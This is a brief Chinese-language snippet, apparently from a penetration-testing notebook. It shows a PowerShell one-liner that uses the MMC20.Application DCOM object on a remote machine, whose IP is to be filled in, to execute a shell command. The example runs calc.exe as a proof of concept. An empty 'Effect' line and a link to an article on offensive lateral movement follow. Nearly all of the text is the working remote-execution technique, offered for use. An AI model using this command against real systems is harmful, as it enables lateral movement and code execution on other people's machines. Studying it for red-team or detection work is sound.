[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","这里替换成你的IP")).Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")
效果:
参考链接:https://hausec.com/2019/08/12/offensive-lateral-movement/